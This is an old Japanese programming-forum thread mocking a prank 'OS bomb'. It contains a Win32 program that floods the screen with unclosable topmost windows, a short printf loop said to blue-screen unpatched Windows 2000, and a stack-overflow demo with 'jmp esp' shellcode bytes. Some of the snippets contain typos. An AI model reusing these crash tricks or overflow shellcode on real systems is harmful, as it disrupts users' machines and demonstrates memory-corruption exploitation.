#include<windows.h>
#include<time.h>
long __stdcall WndProc(HWND h, UINT u, WPARAM w , LPARAM l){
HDC d; PAINTSTRUCT p; static RECT r;
static char str[128] = "go to hell! FuckUP!!!.";
switch(u){
case WM_CLOSE:
return 0;
case 15:
d = BeginPaint(h,&p);
GetClientRect(h,&r);
DrawText(d,str,-1,&r,DT_WORDBREAK);
EndPaint(h,&p);
return 0;
}
return DefWindowProc(h,u,w,l);
}
int __stdcall WinMain(HINSTANCE I, HINSTANCE,
PSTR s, int n){
HWND h;MSG msg;WNDCLASS w;
w.style= CS_HREDRAW | CS_VREDRAW;
w.lpfnWndProc= WndProc;
w.cbClsExtra= w.cbWndExtra= 0;
w.hInstance= I;
w.hIcon= LoadIcon(0, IDI_HAND);
w.hCursor= LoadCursor(0, IDC_NO);
w.hbrBackground= (HBRUSH)GetStockObject(WHITE_BRUSH);
w.lpszMenuName= 0;
w.lpszClassName= "STATIC";
RegisterClass(&w);
for(int x,y,i = 0;i<300;i++){
x = rand() % 924;
y = rand() % 668;
h = CreateWindowEx(WS_EX_TOPMOST,
"STATIC","アーッヒャッヒャッヒャ",
WS_OVERLAPPEDWINDOW | WS_VISIBLE ,
x , y , 200 , 200 , 0 , 0,
I , 0
);}
while (GetMessage(&msg , 0, 0 , 0)) DispatchMessage(&msg);
return msg.wParam;
}
2げっとしとくけどこれ何?
要は偶然発見した自分のバグコードをOSクラッシューだかなんだか言って自慢したい子供だろ。
俺も昔、赤と青と白を高速切り替えして殺人プログラムとか作ったよ。
そう言うたぐい。
>>3 そうなのか。ありがd
俺も昔Ctrl+Alt+Delete無効にしてBlockInputかけ続けるプログラム作ったっけ。
くらっしゅー
>3
赤と白と青ってどういう仕組みなの?
教えてキボンヌ
>3
偶然発見したバグではなく、自分で考えますた。
貴方はレベルが高いようですな。俺は初心者です。スマソ
あと
VisualC++で保存したWin32APIを開いてビルトすると
"外部参照 1 が未解決です。"
みたいなメッセージがでてきてエラーになるんですが、
そのまま元に戻す方法だれか知りませんか?
放置。
> VisualC++で保存したWin32APIを開いてビルトすると
ボクは初心者なのでこのくだりが理解できかねます。くたばれチンポ野郎
>10
>1のコード実行した被害者ですか?
スマソ
13 :
デフォルトの名無しさん:02/08/18 23:15
>>10 僕も初心者です。Win32APIってVC++で保存できるのですね。勉強になりました。
↑Win32APIのコードね
>>15 初心者なんですがWin32APIのコードなんて公開されてるんですね。
僕もそれを読んでWindowsのことを学ぼうと思います。
>16
勝手にやれば?
あと参考のために自分で作ったOSクラッシャーのAPIコード公開しる。
アルゴリズムの仕組みなど説明きぼんぬ
これのどこがクラッシャーなのか分からん。
普通に実行できるし。
>>18 いい加減自分がスレッドを立てるに値しない頭だと言うことに気づけ。
>20
悪かったな。
>19
さっきから気になったんだけど、実行したらどうなりましたか?
でたらめの場合クチだけのシッタカ野郎認定で。
実行して欲しくてウズウズしてるバカがいるスレはここですか?
>24
別に実行してもらわなくてもそれなりの知識があれば
これくらいのコード見ただけでどうなるか解るだろうよ。
>25
お前のようにコンパイルできない奴は本当の厨房です。
普通の人ならば「このコード実行してください」
といえば普通にコンパイルできますが。
ウィンドウがたくさん出てきました。
で、1個閉じたら全部消えました。OSはビクともしません。
この板でこれ程恥ずかしいスレ立つのもめずらしいな。
プロセスの終了でも全部1度に消える。
今日も平和だな・・・。
この程度で「OSボム」という
>>1…非力な環境だな
>27
おしい!
×押しても閉じられないように細工
他のウインドウがアクティブになろうが常に最前面に表示
タスクマネージャーから実行中プログラム強制停止させようとしても、
注意書きメッセージボックスがウインドウに隠れてしまって
一つ一つどかしていかないと、OKボタン押せません。
実行プログラムは一つなのでそれを停止させれば、ウインドウはすべて消えます。
やはり※OSはビクともしません
>31
君がいうOSボムというのは?
コードうpしなくていいから、参考程度に教えてキボンヌ。
>34
だからそれは>33で質問してるだろ?
言い方悪かったか。
適当なウィンドウをタスクマネージャで終了させると、
このウィンドウは応答しません云々とでて、強制終了選ぶと全部一気に閉じたよ。惜しいも何も事実。
Windows2000限定(XPも?)らしいけど
#include <stdio.h>
void main(void)
{
printf"\t\b\b");
}
こんなのを言うのかな?
>>38 SP3で修正されたっけ。
XPはどうなんだろ。アップデータ出たのかな?
>>38のコードためしにVC++でコンパイルしたけど
エラーになったよ
>>42 実行してみなよ。DELLじゃあるまいし。
Σ(・∀・;)一回でかい・・・
>>40 繰り返さないと駄目みたいですね
#include <stdio.h>
void main(void)
{
for(;;)printf"\t\b\b");
}
>>42 青い画面が見れます。
>>47 別に既に修正済みなんだから気にすることも無し。
>>12 的外れなレスをアルリガトウ。恥ずかしげもなくこんなスレ立てられるってのは
ある意味尊敬に値するな。
しかしこの手のプログラムは誰もが一度は通る道なのかも。
漏れもWM_CLOSEが来たら自分をもうひとつ起動する終了不能アプリ作って遊んだりしたもんだ。
>>50 こんな、クソ役に立たねープログラム組んだ事も、
考えた事もない俺は、みんなと違う道を通ってますか?
>>51 2ちゃんに来ている時点で同レベル。安心しなされ。
OSボムっていうくらいだから、発動したら二度と起動すらしないくらいのものをきぼんぬ
>>52 俺ね、思うんだけどね。
2ちゃん来てる=レベル低い みたいな事なぜ言うんだろう?
たしかに、役に立たない情報も多いけど、
役に立つ情報も沢山あるし。
煽りや罵倒も多々あるけど、この情報量を見ると利用しない手はない。
大きな情報交換の場である2ちゃんを、レベル低いから見ないなんて言ってるヤツは、
不器用。頭固い。勘違いヤロー。
または、多い情報の中から有益と思える情報を見つける事のできない要領の悪いヤツ。
うまくすれば、良い情報源だと思うんだけどねぇ〜。
と、マジレスしてみますた。
>>55 人として・・・???
意味が分らないッス。
たしかに、マジ変なのも居てるけどね(w
たとえば、
>>1とか。(w
俺は2ちゃん覗きだして自分が変わったとも思わないし、
強いて、悪い影響を受けたとも思ってない。
「すげーヤツも居るんだな!オイ!俺も、もうちと勉強せねば!」
みたいな良い影響は少し受けたり受けなかったり。
と、またマジレスしてみたけど、
まぁ人それぞれってな無難なまとめで。(w
ハッキングテク語るスレって欲しいんだけど、
どういう展開になるか予想がつかないんだよなあ。
というわけで気球上げてみる。
void func(unsigned char *src, size_t size)
{
unsigned char b[4];
memcpy(b, src, size);
}
void test()
{
unsigned char code[] = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x8b, 0x94, 0xf8, 0x77, // address of "jmp esp"
0x8b, 0xc4, 0x83, 0xc0, 0x0f, 0x50, 0x6a, 0x00, 0xb8,
0xfb, 0x7a, 0xe8, 0x77, // address of FatalAppExit()
0xff, 0xd0, "hello"
};
srand((unsigned)time(NULL));
_alloca(rand()/0x10000);
func(code, sizeof(code));
}
>>57 立つ度に荒れて20レス逝く前に沈んでいっている。
>>58 想像するに、スレ立ってもハカー気取りの厨房しか集まらん、ということか。
逝ってきます。
/ ̄ ̄ ̄ ̄ ̄ ミ
/ ,――――-ミ
/ / / \ |
| / ,(・) (・) |
(6 つ |
| ___ | / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
| /__/ / < age!
/| /\ \__________
61 :
デフォルトの名無しさん:02/08/20 14:14
さらしあげ
62 :
デフォルトの名無しさん:02/08/21 20:25
OSボムだって。
こわいこわい。